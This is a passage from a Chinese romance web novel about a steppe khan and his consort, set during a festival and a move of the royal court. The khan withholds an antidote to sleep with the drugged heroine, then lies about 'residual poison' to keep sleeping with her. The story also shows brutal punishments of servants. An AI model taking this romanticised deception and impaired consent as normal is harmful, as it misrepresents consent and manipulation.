穆凝姝见他没推开自己,再是忍不住,勾住他的手多了分力气,声音里不自觉染上点哭腔,“赫连煊,我难受。”
话刚出口,她身子一沉,被他抵在榻上。
赫连煊拽开她的手,紧紧扣住,十指交握,呼吸与她近在咫尺,沉哑道:“这是你求我的。公主。既是如此,就不能后悔。”
后悔?
她为何要后悔?
她满心满意喜欢着他。
穆凝姝感觉脑子越来越混沌,却无比清晰地知道,眼前这人,是她心心念念许久的赫连煊。
“说。是你求我。”赫连煊克制到极致,声音低沉得不寻常。
她静默咬唇,扬起脸,极轻地在他嘴角落下一吻。
他的回应猛烈如荒原狂风,瞬间淹没她。
她不擅此道,凭本能胡乱回吻他,呼吸交缠,唇齿相依。
仅仅唇齿相依,还不够。
她挣脱他的钳制,双手攀住他脖颈,想与他贴得更近。
衣裳阻碍着她的贴近,她轻轻拉扯。
赫连煊跪坐起来,拽掉碍事的衣裳,随手扔去床下,露出浅麦色的身躯。胸膛上是她熟悉的疤痕,肌肉块状分明,汗珠沿着沟壑滑落往下。
他再度欺身下来,动作放缓了些,吻却越来越密,落在她鼻尖、耳后、脸侧,逐渐下滑至脖颈间。
她半湿的睡袍早已不知落在何处。
长有薄茧的指尖,轻轻抚在她的后颈,沿着脊骨缓缓往下。
他的动作极尽轻柔,喘息却愈发浓重。
混沌中,短暂的疼痛过后,漫长的烈焰和咬啮折磨仿佛终于找到解脱之道,愉悦猛烈袭来。
她惊讶于两人此刻的亲密无间。
从前看书看画时的恐怖和忧虑,消失无踪。
她抬手抚过他汗涔涔的额头,对上他金黄的双瞳。
如果这个人是他,这件事分明是极好的。这样的贴近,令她欢愉。
眸色暗沉如海,同以往所见,皆不相同。
赫连煊捂住她迷离的双眼,“别看。”
如何走到现在这一步,他心知肚明。
合欢蜜是敕加贵族们常用以助兴的欢药,他生于皇族,走南闯北,自然清楚这东西。
这药只要及时解掉,对人体无害,即使强行压抑,也无非是让人痛苦几天,并无后患,因此价格高过黄金,普通人用不起,后宫妃嫔们则尤其喜欢以此留住君心。
他发现杯中物是合欢蜜后,让赫连天林弄来解药。小叔正事不做,对这种风流手段门清。
方才在帐门口,他恰好遇到张奉景,让人退下去了,拿着解药来找她。
赫连煊看向地毯上的小瓷瓶。
明明解药就在他手中,在她求他的那一刻,他听到脑子中紧绷的弦,“噔”一声,断了。
他无法拒绝这个机会。
却也无法面对她懵懂清澈的目光。
穆凝姝拂开他的手,为什么不让她看他呢?她是那么那么喜欢他。
她再度攀住他的肩,轻轻吻上他的眼睛。
赫连煊引以为豪的冷静与克制骤然崩塌,一改先前步调,放任自我。
* * *
日升月落不知过了几轮,阳光与月色交替映照于榻间。
穆凝姝望着窗外,算不清此番荒唐到底过了多久。
这几日的记忆,混混沌沌。
好不容易清醒些,她推着他的肩,“单于……有庆典啊。客人还在……还有,你的政务……”
她想起来,姑娘节还在继续,赫连煊跟她这两大东道主,却完全不见人影。
自登临王位以来,能让大单于披星戴月的,唯有政务。
他却缺席了不知多少天的朝政。
他不假思索,道:“不管他们。札木尔和大臣们会处理。”
穆凝姝道:“可、可是——”
赫连煊已然抛却先前那点基于欺骗的愧疚,道:“是解毒重要,还是旁的重要?”
穆凝姝嗫嚅道:“当然是解毒。但……我真的好累啊。”
她扭身躲开,妄图逃窜,被他长手一伸,拽住脚踝拖回来。
赫连煊毫不动容,皱眉冷厉道:“你乱喝东西,怪得了谁?该狠狠长点记性。”这回幸亏只是这种药,若是毒药,哪里还有命留给她喊累。
他声音变大,动作都随之粗鲁。
穆凝姝怕极,连忙捧住他的脸亲吻,止住他的训斥:“我知道错了,你别骂我。”
赫连煊想起那会儿她第一时间竟找张奉景,扣住她的脸颊,问她:“以后遇到事,该先找谁?”
穆凝姝不知他为何突然有此一问,但本能答道:“单、单于。”
赫连煊:“回答错误。到底该找谁?”
不对。
这个答案他不喜欢。
她叫那人什么来着,佗佗。
哼,可笑,什么烂名字。
穆凝姝晕乎乎,不知错在何处。
赫连煊提示道:“看清楚,我是谁?”
她忙道:“赫连煊……”
赫连煊道:“以后记住了?”
穆凝姝连连点头,再三保证。
他唇角终于勾起点笑,声音沙哑,正经道:“若不彻底解决,以后你体内会有余毒。”
穆凝姝闻之惶恐,余毒……她对他本就非分之想颇多,经此一番,非分之想的程度已发展至非法之想。
若是再有余毒,恐怕以后她真得变成个禽兽。
她按住乱七八糟的想法,极力让自己显得正经,道:“那、那有劳你。”
这几天,辛苦他了。咳——大单于不管做什么,都称得上兢兢业业。
赫连煊沉稳道:“嗯。你听话些就好。”
穆凝姝疑惑道:“还要如何听话?我一直都很听话呀。”
他眸色再度沉下来。
……
她懂了此话深意。
以后她再也不敢嘲笑敕加烂书胡编乱造。
人家明明是纪实文学。
* * *
走出王帐,日头高照,招来阿香一问才知,从玛茹胡闹那天算起,竟然过去了五日。
姑娘节已接近尾声。
大单于和凝姝阏氏同时消失数日,众人心思异彩纷呈,更多的是对穆凝姝刮目相看。
果然,混出头的宠妃,全是千年的老狐狸。
原本看穆凝姝待客周到的模样,以为她年岁尚浅,心思还单纯。现在回过头一看,怕是故意装得温婉大方,引得单于青睐后,竟在此紧要日子独占赫连煊。
远道而来的公主们,莫说进王帐侍奉,甚至连赫连煊的衣角都未能摸上一片。
盛会已尽,仍不见大单于张贴入选名单,或去各部住处宣旨留人。
历朝历代,纵然最善妒的阏氏当家,景象都不如今年这般惨淡。
第36章 第 36 章 36“当真是不一样了。……
阿香替穆凝姝梳妆时, 高兴道:“这回姑娘节,奴婢还担心来新人争宠,没想到阏氏手段高超!单于从前虽喜欢您,却也没这般盛宠过, 这回竟……”阿香笑得越发灿烂, “这几天单于一心贪欢, 都不准奴婢们进到帐中。阏氏, 你肚子里是不是揣上小王子了呀?必定有了吧!”
穆凝姝正喝茶,闻言,一口茶呛在喉间,连连咳嗽,脸颊发烫。
眼瞧她脸面肉眼可见地变红, 阿香调笑道:“哎呀呀, 阏氏侍奉单于都多久啦,这有什么好害羞的。单于这年岁,正是血气方刚,你们就该如此嘛。”
穆凝姝擦擦嘴角茶水,老成持重道:“不是害羞,不小心呛到罢了。”
在阿香和旁人看来,她侍奉大单于已有半年,他不外出时, 几乎夜夜与她同宿,当然习以为常。她和赫连煊此番才刚圆房,心底自然免不得害羞, 却又不能表现出来。
阿香给她拍拍背,道:“等阏氏生下小王子,那便是单于的第一个孩子。凡事, 第一遭总是最特殊。到时候,可可爱爱的小团子,一声声叫他父王,想想就可爱,他定会更加宠爱您。”
阿香絮絮叨叨说着,把穆凝姝接下来的升级路线,规划得明明白白,边规划边夸她心机深沉,料事如神,“这回姑娘节,您一出手就是绝杀,以后也要保持此作风,牢牢独据单于才好。”
穆凝姝:“……”完全没想那么多。阿香不该当宫女,该去写宫廷斗争话本子。
既然阿香这般想,恐怕其他人亦是如此。偏偏这种时候出事,妒妇妖妃之名,怕是逃不掉了。
但想想睡到了心上人……穆凝姝喝茶掩饰飞翘的嘴角。
值了值了。
妒妇妖妃随意吧,挨骂不亏。
阿香说得热闹,穆凝姝便听个乐呵,听到小王子穿什么衣裳盖什么被子的细枝末节,她想起王帐中的惨状。
到处弄得乱糟糟,住不得人。
她可以一走了之回到自己帐中,赫连煊还得住王帐。
穆凝姝吩咐阿香道:“你带人去把单于的寝帐好好收拾下。你从我库里找些轻薄的丝绸床单带去,如今天气渐渐炎热,座椅垫子,还有床幔纱帐等物,都换些淡雅颜色,看着凉快些。”
赫连煊在日常上懒得花心思,虽有札木尔替他操持,但这家伙同他主子一样,正经事上有多细腻,衣食住行就有多粗糙。
年初她刚到王帐那会儿,没见过好东西,觉着处处都极近奢靡。这半年来,被赫连煊拿真富贵浸染过,越来越觉侍从们照顾得不够周到。
从军医到随从,全是主打一个活着就行。
赫连煊在政事上挑剔,对这些却出奇地不挑,得过且过,甚至压根注意不到好与坏。
联想起他小时候的曲折经历,估计虽挂着个太子之名,背地里却没少吃苦。舅舅舅母临时的看护,必定细致不到哪里去。
这般算起来,恐怕赫连煊没受过多少好的照顾。
没关系,她会照顾人。
她在政事上一窍不通,帮不到他什么,只能在生活上尽力改进下,让他衣食住行稍稍舒服些。
穆凝姝又叮嘱些事项,让阿香一一去做。
阿香记下,笑道:“当真是不一样了。”
穆凝姝疑惑道:“什么不一样?”
阿香眨眼道:“您之前虽住在王帐中,却从没这般上心过。看来……您和大单于感情更好了呀。”
穆凝姝知晓阿香暗指什么,忙道:“不是的,我只是……王帐里乱七八糟,总是得重新布置的。”
“我懂我懂!”阿香给她一个了然眼神。
穆凝姝扶额,感觉自己做得太多,便改了口,让阿香只换些小件。床幔纱帐这种显眼的大件,还是延续之前的风格。也不知赫连煊喜欢哪种,她别太自作主张。
处理完王帐那边,穆凝姝起身往会场走。
姑娘节将近结束,前几日太怠慢,她得去看顾下收尾的工作。
穆凝姝行至看台处,听到帐中传来赫连煊和玛茹的声音。
二人说的语言她听不懂,估计是耶律部方言,玛茹刚来时说过,她依稀记得几个音调。
内容虽听不懂,语气明显听得出是在吵架。
赫连煊向来沉稳肃穆,说话声音不大,不怒自威,这会儿却难得地充斥着怒气,隔着帐门都能听到。玛茹本就冲动,这回更是哭喊得声音都嘶哑了,说话语速极快。
不知赫连煊说了什么,帐中忽然安静。
不多时,玛茹跑了出来。
正好对上穆凝姝。
穆凝姝道:“我恰巧路过,无意偷听。再说你们说的耶律话,我一句也听不懂。”
玛茹罕见地没有破口大骂,平静得仿佛变了一个人,道:“无所谓。我正好要去找你。既然碰到。省得我跑一趟。”
* * *
看台附近布置有许多临时毡帐,供客人们休息。
穆凝姝同玛茹随意找了个空毡帐坐下。
“你很得意吧?”玛茹面色憔悴,声音失去了惯有的高亢。
穆凝姝:“什么?”
玛茹斜斜扯下唇,皮笑肉不笑,道:“别装了。我忙活一场,白白为你做了嫁衣裳。整个姑娘节走完,你竟从头至尾独独占着表哥。穆凝姝,你真够不要脸,这种盛会,耍下流心思耍得毫无体面。”
穆凝姝早见识过玛茹这张嘴有多毒,平静道:“论下流,怎么也轮不到我。玛茹,是你下的药,我阴差阳错喝了,当然得想办法解毒,总不能等死。”
玛茹冷笑。一点合欢蜜罢了,哪里能毒死人,又哪里需要不分昼夜合宿五天。
想到这个,玛茹心口一阵一阵疼。
她看向穆凝姝,语气平静中透着绝望,道:“杏林那事之后,表哥要我待天气转暖后,回耶律部。我求他让我多留一阵,等姑娘节过往再走。表哥知道我爱热闹,允了。穆凝姝,你已经是他的阏氏了,你跟他拥有无数个日日夜夜,不是每个人都有你这样幸运。为何连我最后的机会,你都要抢走?”
穆凝姝惊讶于她的理直气壮,道:“玛茹,你给赫连煊下药,妄图强迫他,这种情况下,你怎么好意思说是我抢走你的机会?到现在,你还不觉得自己有错吗?”
玛茹不加掩饰,道:“错?我努力争取自己的爱人,何错之有?错只错在,表哥一心扑在霸业上,见过的女人太少,被你迷惑住。错只错在,我早些年就该下手,想必一切会有不同。阿素珊算个什么东西,有了孩子,赫连天林照样跟她和和美美。她可以,我为什么不可以?”
“这根本不是一回事。赫连煊也不是他小叔。玛茹,你疯了,无药可救。”
穆凝姝背脊发寒。
玛茹不仅想要一夜春宵,而是铁了心破釜沉舟。阿素珊的到来,给了玛茹启发。按照她这种设想,但凡赫连煊碰过她,她无论如何都会让自己怀上身孕,哪怕再去找个其他男人混淆血脉。反正只要有了身孕,赫连煊必会对她和孩子负责。
丧心病狂。
玛茹双眼通红,道:“你一个偶然闯入的后来者,夺去本该属于我的爱人和荣耀。现在还要摆出一副高高在上的姿态,作壁上观。上天真不公平,你不爱他,却拥有他。你哪里懂得我的痛苦,又有什么资格评判我?”
穆凝姝道:“你的爱和痛苦都太可怕,我不懂,也不想懂。我爱不爱他不关你的事,但这回我很高兴替他挡住你。你若因此而痛苦,不妨多痛苦些,你自找的。若你还想跟人说话,你自己去找赫连煊,我不奉陪。”
玛茹苦闷,找赫连煊说话?方才两人大吵一架,一切都撕破脸了。赫连煊下令,要将她立即遣送回耶律部,哪里还肯跟她说话。
眼见穆凝姝满脸云淡风轻,玛茹心中恨意更甚,自从她出现,伤心的只有自己。
玛茹道:“穆凝姝,不要太得意。你不过是表哥恰好遇到,用以宣泄的玩物,他的心不在你这里。”
她又说上许多旧事,极力证明此事。
穆凝姝懒得跟玛茹废话争辩,直接道:“无所谓,我玩得也挺开心。尤其这几天,我们格外开心。”
说罢她起身,不再搭理玛茹,朝外走去。
玛茹心态崩溃,朝她喊道:“穆凝姝,我诅咒你,总有一天,你无法像今日这般置身事外,说风凉话。我诅咒你爱而不得,诅咒你比我痛苦百倍千倍。”
诅咒?
巧了,她不信神明。
穆凝姝潇洒挥挥手,头也不回。
* * *
走到会场那边,侍从们有条不紊忙碌着。
不远处,赫连煊在和一道红衣身影交谈,两人指着手中弓箭。
穆凝姝认出,那人是呼延芙缇娜。她容貌艳丽,看过一眼就忘不掉。
芙缇娜看到她,招手打招呼,道:“凝姝阏氏好。”
穆凝姝过去,致谢道:“听侍女说,这几日公主帮忙处理着会场事务,有劳公主。”
芙缇娜笑道:“阏氏不必客气。我在家中常常帮忙操持庆典,有经验。比起战场上的事,这些只算举手之劳,都挺简单。单于,弓箭的事多谢,我回去再改改。我族中还有事,先走一步。”
赫连煊点头示意。
穆凝姝望向远去的火红背影,称赞道:“芙缇娜的马术真好,捡羊皮时都不用减速,直接下腰捞起来。”
“她自小习武跳舞,自然会这些。”赫连煊俯视朝下,很容易看到穆凝姝脖颈上的痕迹,即使她特意拿了纱巾遮挡,“这边有下人做事,你不必匆忙过来,可以多休息几日。”
第37章 第 37 章 37艳芍
穆凝姝注意到赫连煊的目光, 抬手拢了拢微微散开的纱巾,随意找个话头转移此事,道:“王帐的床幔坏了,需要换新。天天眼睛下晃荡, 总得挑个看着舒服的。你喜欢什么颜色?”
赫连煊道:“这种事你决定就好。一时问孤, 孤也想不起来。你有什么备选?”
穆凝姝道:“我粗略选了下, 觉着青竹底云纹和浅缥底莲花纹好看, 入眼清凉,但不知道你更中意哪个。若是都不喜欢,我再让人做个从前那种赤红底兽首纹的……”
讨论这种小事,颇有种新婚夫妇闲话家常的感觉。
她很喜欢。姑娘节那会儿,有年长阏氏说过, 对于富贵人家, 钱财贵物算不得什么,倒是难得夫君愿意陪着好好说几句话。
在姜国当宫女时,她为数不多关于嫁人成家的幻想,便是如此,跟自己的夫君,蚂蚁搬家似的,一点点积攒每一个小小的家当,很平凡, 很温馨。
赫连煊垂眸望着她,神情未见敷衍,却也未回答。
她笑眼盈盈, 道:“都同你介绍了一遍,想要哪种呢?还是说你有闲工夫,想亲自去挑一挑?”
赫连煊道:“怎么没有粉色?”
她今日穿了身浅粉衣裙, 衣袂在风中飘动,像朵盛开的芍药。
“粉色?”穆凝姝疑惑,“有是有。浅粉底百花纹,还挺好看,我帐中就是用的这种。但这种颜色太女孩子气,估计你不会喜欢。”
单于王帐里的装饰多用兽首花纹,墙上挂着他收藏的各色刀剑,从头到尾透着股“此处为猛男居所”的气质。
配个粉色床幔,多奇怪。
赫连煊挑下她脖子上的浅粉纱巾,低声道:“粉色就很好,衬你肤色。”
穆凝姝愣了下,脸面比纱巾更粉,“你、你胡说什么啊……”
“胡说?你今天衣裙粉色,挺好看,这么说何错之有?”赫连煊挑眉一笑,手指点在她脑袋上,“公主,你想到哪里去了?”
穆凝姝耳尖红到极致,她还以为,他又想像上回那样拿床幔……大概他一时兴起闹着玩儿,过了也就过了,没当回事。
原来是自己想歪了。人家只是单纯点评下她的衣裳颜色。穆凝姝啊穆凝姝,你真是越来越不正经。
札木尔远远招手,朝着二人走来,单于任性消失好几天,政务堆积成山。
穆凝姝紧紧压住纱巾,磕巴道:“不、不管了,就用青竹底云纹。这点小事,我就不该来问你。”
说罢,她扯下赫连煊的手,连札木尔的招呼都没搭理,一溜烟逃走。
* * *
短短半年间,赫连煊征战周边小部落,赫连部地盘得以扩张,王庭位置需要迁移。
游牧民族逐水草而居,搬迁是常事。侍从们经验丰富,拆下毡帐装车,驱赶牲畜,朝水草环境更好的新地点出发。
女眷们有马车乘坐,每隔段时间,会停下休息整顿,并不算劳累。穆凝姝第一次经历迁徙,沿途看风景,颇有兴致。偶尔赫连煊得了空闲,便带她去周边随意转转,或是看看草花,或是逛下民间集市,枯燥漫长的迁移越发有趣。
草原气候不比南方,诸多花木难以生长,赫连煊探查水源时,遇到一处芍药花甸。穆凝姝跟着他去赏玩,成片的野芍药盛放,可遇不可求,玩了整个下午,直至黄昏,还依依不舍。
穆凝姝吹捧道:“再多留一会儿,大单于骑术好,晚些再追赶队伍,也追得上。”
赫连煊不置可否。
她爬到他腿上坐着,给他捏肩,卖乖卖得极度丝滑。自从发现赫连煊吃这一套,她常常这般哄他。
腰间一紧,被他揽住。
穆凝姝望向他的眼神,飘忽至别处,看看晚霞,看看芍药花,就是不看他。这样的距离,这样的氛围,她再多看他几眼,必定忍不住亲亲他。大单于心里没点数,都不知道自己处境有多危险。
她暗暗得意,看来平时她装得还挺沉稳,充分取信于人。
忽然唇上一软,他吻住她。
穆凝姝愣住,睁大眼盯着他看。
亲吻越演越烈,两人滚到花丛中。
淡淡的芍药清香,拢住周身。
穆凝姝察觉到他的异样,面红如血,“你、你……”
赫连煊道:“大概是余毒。”
穆凝姝惊讶,“余毒?”
为她解毒,毒却渡到他身上了?
还能这么人传人?
赫连煊面不改色,“对。草原奇毒,就是这样。”
穆凝姝紧张:“那你这段时间……全靠强撑着熬过来的?”
难怪自从合欢蜜之事后,赫连煊有时忽然对她亲亲抱抱。她隐隐觉着,他似乎在忍着什么,但他什么都没说,也没有进一步的过分举动,她以为是错觉。
那几天闹得太厉害,她喜欢他,却也有些怕。
赫连煊深沉道:“嗯。还好。”
穆凝姝亲自经历过,自是知晓那东西有多折腾人。
他却这么一声不吭忍着。
弄得她愧疚之余,心软软的。
穆凝姝小声道:“其实……不用忍的。”
“你说什么?”赫连煊一愣,她也太好骗了。
她没再说话,抱住他,心一横,道:“就、就……嗨呀,本公主很将义气的。你帮过我,我帮你也是应该。不用客气!”
话一出口,赫连煊再没跟她讲客气。
挼碎一地似锦芍药。
月上中天,赫连煊抱着她去旁边的河中沐浴。
她软乎乎搂住他脖颈,柔声关切道:“感觉好些了吗?”
月光映照下,她看到他肩上、背上到处是浅浅的抓痕,颇是不好意思,抬手轻轻抚摸,“疼不疼呀?我不是有意的。”
方才她只觉漂泊无依,无意识间总想抓住点什么,也没想到给他抓出一身痕迹来。
赫连煊掬水的手顿住,改放到她背上,将她抵在岸边。
水中那轮明月,破碎淋漓,分分合合。
* * *
赶路一个多月后,众人抵达目的地。本以为会是一片荒芜,不料已有不少毡帐。赫连煊派出的先遣军队等候在此接驾。有他们预备,新王庭很快搭建好,规模比从前更大,王帐中的布置也比从前奢华。
穆凝姝注意到新床幔,浅粉底配银白芍药纹,很是清新淡雅。
但迁徙中需要做的事太多,她不记得自己又吩咐过此项。
看到芍药,她难免想起路途中的荒唐。
一定是凑巧。
赫连煊才不会闲到亲自过问这种细枝末节。
新居落定不久,阿素珊那边传来好消息,孩子顺利降生。虽说因胎儿个头偏大,过程里受了些罪,好歹没像雅曼那样凶险,母子也都平安。
穆凝姝拿着早已备好的礼物去看阿素珊,雅曼也来这儿凑热闹。
阿素珊枕边放着个小小的婴儿,是个男孩儿。因雅曼的女儿叫小福宝,她常常逗弄,便跟风给自己儿子取了乳名,小胖宝。
小孩子出生头几年怕难养活,依照敕加习俗,都是先取个常见乳名,说是这样一来,神明若想收孩子,一眼望去全是一样的长相、一样的名字,稀里糊涂就收不到自己家的,孩子便可躲过劫难。
等年岁大了,再正式取名。
这点和中原喜欢给孩子取贱名殊途同归,都是为了给新生儿避灾。
阿素珊眉眼慈爱,抚摸小胖宝脑门儿上的呆毛。
穆凝姝搬个小板凳坐旁边,将礼物给阿素珊,道:“我给他打了个平安金锁,一对小手镯,还有个麒麟莲花辟邪肚兜。肚兜是我们中原爱用的纹样,我闲时绣的,怕是比不得绣娘们的手艺,若是用不上,就当个看个新鲜。”
“你竟有这手艺,很漂亮啊。”阿素珊最喜欢小肚兜,给小胖宝穿上,“你什么时候也给自己孩子做个?”
穆凝姝笑道:“我还没动静呢。不着急做。”
她前几日癸水才结束,并未怀上身孕。先前两人没亲近时,说到这事只觉与己无关,现在竟有些淡淡的失落。
阿素珊也笑,道:“是,不着急。生孩子好痛的,我都以为我要死了。你只是母子缘分还未到,不妨放宽心好好享受下轻松日子,总会有的。”
穆凝姝点点头,轻轻戳戳小胖宝的嫩嫩脸蛋,可爱得要命。若是她和赫连煊有孩子,也会这么软乎乎吧。
她挺喜欢小朋友,小福宝出生时,她就很想玩一玩,但雅曼跟赫连煊关系不好,赫连煊又明摆着不喜欢她们母女,她也不好去玩人家的孩子,自讨没趣。
现在小叔家的小婶子喜得麟儿,她名正言顺来关心关心,捏小团子捏个爽。
穆凝姝想起一事,看向雅曼,道:“你说,小福宝算赫连煊的女儿还是堂妹啊?”
雅曼道:“当然是女儿!女儿能当公主,堂妹只能是个郡主。至于赫连煊认不认,那就不好说。其实嘛,他可以当小福宝是女儿,若不愿意小福宝叫他爹,叫声哥也行。大家各论各的,只要给够待遇,其他都好说。”
穆凝姝:“……”不愧是雅曼,永远清醒,能屈能伸。
* * *
王庭中再度有新生儿降临,穆凝姝这第一宠妃却还不见身孕,免不得引人瞩目,掀起点闲话。
赫连天林以二十四岁高龄首次当爹,小福宝更是老头子赫连天雄的遗腹子。
大单于赫连煊,年仅十九,最是年轻力壮,却还不见一儿半女,必定是凝姝阏氏的问题。
娇娇弱弱的纤细身材,一看就不好生养。自己怀不上便罢,性子还弯弯绕绕挺厉害,容不得其他阏氏,整个姑娘节下来,竟无一个新人留下,连跟单于亲近点儿的表姑娘都被遣回了耶律部,说是年岁大了回家相亲。
第38章 第 38 章 38藏爱
穆凝姝对此结论有点意见。
怀不上孩子涉及到双方, 传谣的凭什么直接定论是她的问题。就因为赫连煊看上去强壮吗?这是歧视,是没有医学精神的妄言。
应该她去找别的男人试试,或赫连煊找其他女人试试,届时自然能知道是谁的问题。
……还是算了, 她不想红杏出墙, 更不想赫连煊红杏出墙。
其他那些话纯粹是无稽之谈。虽说她解毒占了点时间, 但留不留人她无法左右, 是赫连煊一颗心挂在江山社稷上,对女人不太感兴趣。玛茹更是自作自受,内幕过于丢人,不得外传,才找个体面说法。
仅仅胡乱说几句, 穆凝姝不会放心上。下人们平时做事, 苦闷劳累,也就能嘴上拿贵人们秘闻,调侃玩笑。她也是宫女出身,能理解。
但时日稍久,几个伺候其他阏氏的年长嬷嬷们,有意扩大此事,替自家主子造势,寻求获宠机会, 还敢煽动下人们懈怠忤逆,不认真做好穆凝姝吩咐的日常事务。私下里,越来越多下人暗称她中原妖妃。
穆凝姝抓了三个挑事挑得最厉害的嬷嬷, 彻夜罚跪。
处罚之后,事态竟愈发难看,那几个嬷嬷的主子阏氏, 跑来找她闹,抓她一起去找赫连煊对质,说她心胸狭隘,狠毒善妒。
赫连煊听罢,看向他的妖妃,噙笑道:“是这样吗?公主。”
穆凝姝无奈道:“是啊是啊,妾身就是妒妇,巴不得整天缠着大单于,费尽心思阻止大单于接触一切妃嫔和新人。您身为明君赶紧废了妾身这中原妖妃。”
赫连煊直接让人割了三个嬷嬷的舌头,挂在显眼处,又当众对几个阏氏施以板刑,拖回去时,已是半死不活。
好好养着她们,非要主动生事,活腻了。
短短一下午,杀鸡儆猴,此事再无人敢提。
夜里侍女们再侍奉穆凝姝时,神情和举动极为恭敬,更胜从前,生怕没伺候好而招来祸事。
穆凝姝洗漱后,翻看诗词,直至后半夜赫连煊才回来歇息。
她跪坐在他旁边,帮他拆发上的珠链,故作娇嗔:“今日诸位姐妹拉妾身去找大单于,妾身满心冤枉,却苦于笨嘴拙舌,真真不知该如何辩解。幸得大单于明察,来,让妾身给您拆……”
“你好好说话。”赫连煊被她逗笑,叹气道,“公主最是大度,不给孤塞人就不错了。”
他忽然抓住她的手,“若是有天,你喜欢上一个人,会有嫉妒心吗?也会占有欲作祟,不愿让给他人?”
穆凝姝愣住。赫连煊在试探她吗?看她有没有变成玛茹那种妒妇的风险?女人带给他头痛的时刻太多,他想防范于未然?
他对她的纵容与宠爱,建立在她的乖巧与识大体之上,她好不容易,才成为他的家人。
这要她如何作答?
她半晌未回答,赫连煊追问:“公主,这个问题很难吗?”
他察言观色的本事,远远在她之上,眼神锋利,此时盯着她,让她一阵心虚,却不敢躲开。
她同他对视,露出笑来,道:“大概……人之常情,免不得有吃点醋吧,我也不是摒弃七情六欲的神仙。面对自己喜欢的人,当然想时时刻刻跟他在一起。”
话音刚落,她装作认真拆卸他的发饰,避开目光对视,怕他看出眼中藏不住的爱意,语气轻快道:“不过你不要担心,我肯定不会跟你耍这些小女孩脾气。你人很好,待我也很好,很仗义,还把我当家人……我、我对你满心感激和尊敬,绝没有旁的心思。我们姜国公主,就是这么有格局啦。”
她近来看了不少杂学,碰巧前几天跟佗佗乌琪开读书会,探讨过说谎技巧——此技能对他们这种天赋不足的愚人很有必要。
难怪她以前说谎经常被戳穿,读完此书才知,说谎的最高境界不是胡编乱造,而是真假掺半。
比如今日这事,若全说假话,处处标榜自己高风亮节,不同于俗人,赫连煊个中高手,必能一眼看穿。
像她这么混着说,既符合人性,又把他最在意的部分稳妥保证,方为上上策。
果然,面对此番肺腑之言,赫连煊连异议都未提出,良久,才无意义地“嗯”了一声。
也不知是因为饱受痴缠表妹摧残后,终于遇到她这么个知情达理的朋友而感动,还是单纯表示下附和。
赫连煊不愿意让人看出心思时,就摆个最常用的面瘫脸,毫无破绽,旁人什么都探不出来。
他政事繁忙,刚搬来新王庭,她也忙着到处打理。两人像今晚这样闲聊的机会并不多。
穆凝姝对自己今夜的急智颇为自得,见他没有睡意,试图循循善诱,满足下好奇心,道:“都是我在说,那你呢?”
赫连煊:“我什么?”
穆凝姝抿下唇,装作不在意随便问问:“你要是碰上喜欢的女子……会如何?”
赫连煊看向她,眸色幽深,缓缓道:“那必定是无论如何也要得到,徐徐图之,谋而求之。谁敢挡我的路,就杀了谁,赔上这条命也在所不惜。哪怕我死了,也要跟她葬在一处,来世也不放过她。”
穆凝姝没料到他会说出这么番话来。他平时那样温和待她,她常常忘了他还是个极为狠厉的帝王。他要是喜欢谁……竟格外浓烈。意料之外,但也在情理之中,符合他的本性。
见她眸中怔然,赫连煊收敛神情,道:“这就吓到了?我开玩笑的。”
穆凝姝捧场道:“原来如此,呵呵,是挺好笑。”到底哪里好笑了。
他淡然笑下,抬手摸摸她的脑袋,道:“不会这样对你。别怕。”
穆凝姝连连点头,又摇摇头,“我不怕。我知道你很好,我们像现在这样,就都很好。”
她心情微微复杂。
按理说,心上人不喜欢自己,该烦恼。但平日里只谈军国大事的帝王,愿意同她这般坦诚相待,聊些看上去跟他不沾边的姻缘话题,她又忍不住高兴。
再说,他身旁只有她。
知足常乐是她奉行一生的箴言。
烦恼撑不过一秒。
她开开心心拆完发饰,放进床头小盒子里。
想起那几个割舌的老嬷嬷,穆凝姝又道:“下午的事是我处理不当。你许久没这般下重手惩治下人,是心烦吗?你本就忙,还让她们拿这等小事去打扰你,是我的过错,以后我会注意。”
赫连煊道:“她们还不配让孤心烦。这些事,要么不当回事,懒得搭理。要么就得下狠手,让她们怕,知晓你不好惹。你罚跪整夜,激发其怨气,却不够痛,还让她们以为有资格继续同你斗一斗。常见的奴大欺主罢了。公主生于宫廷,对此等御下之事,应当手到擒来才对。”
穆凝姝心道,对不住,从前她才是被御那个奴,没人给她御。
她跳下床,拿着纸笔过来。
赫连煊:“你做什么?”
穆凝姝轻轻咬着笔头,道:“赫连夫子讲得好,我拿个小本本记下来。您继续。”
她认认真真翻开纸张,双眸亮晶晶,一副好学模样,娇憨而不自知。
赫连煊拽过她手中纸笔随意扔去一旁,压住她的手,十指紧扣,将人禁锢在床上。
比起那些杂碎,眼前这人,才让他心烦。
动不动说话气他。
随意做点什么,又能轻易惹得他意乱。
穆凝姝茫然看着他,刚还正经教着学,怎么忽然变成这样?
她的困惑写在脸上,他凑得极近,附耳道:“我这么跟你说,你直接吞进肚子里,学得更快。”
穆凝姝被他的胡说功底惊到,“还能这么学?”
他只是笑。
嗓音低沉,好听得不像话。
她哪里受得住这个。
穆凝姝轻声道:“你又要解毒啊……”
她极力压制笑意,人家为救她这么惨,她内心却在无耻狂笑。
他微微挑眉,道:“嗯。就快毒发身亡了。公主对刁奴们也能心软,不妨对我更心软些。你说的,我对你很好。”
她抬手抱住他,手指轻轻摩挲他的脊背,肌肉紧实,骨节分明,绵软道:“嗯,你对我最好啦。我也是一样……”
* * *
这世界上,能让穆凝姝佩服的人不多,做合欢蜜的药师,得占一席之地。
此君真乃人才。
药效长得令人匪夷所思。
之前两人同床共枕许久,赫连煊全然一副禁欲模样,而今却……甚是频繁,有时夜里都睡不了太久。
她很想找张奉景请教下关于合欢蜜的事。
思来想去,始终不好意思说出口。
赫连煊看上去,仍是意气风发的貌美青年,不见灰败颓废。他说过问题不大,只是偶尔难受。
或许如阿香所言,他正是血气方刚的年纪,合欢蜜放大了他的欲念。大概,也出不了什么岔子。若真不舒服,他会宣御医看病。
倒是她自己,恐怕问题更大。
搬来王庭后,赫连煊依照姜国宫廷制度,建立太医院。张奉景颇有才干,又得穆凝姝引荐推崇,如今贵为院判之一,在一众老头中格外出挑。
她找张奉景帮忙看下身子状况。她癸水又至,仍未有身孕。
张奉景一番望闻问切,道:“你我之间,我就不说冗长的客套了。你身子亏空得很,内里寒气重,像是早年落下了什么病根。大概刚出塞那三年,过得太苦寒,你自己没察觉,实则有损。”
穆凝姝细细一想,估摸着怕是不止出塞后的事。
她儿时漂泊,贫困交加,刚进宫时做错事,被主子重罚,雪地里跪过好几个时辰。细究起来,还有许多类似小事。
除开跟着赫连煊的这大半年,其他时候,她根本没条件保养。
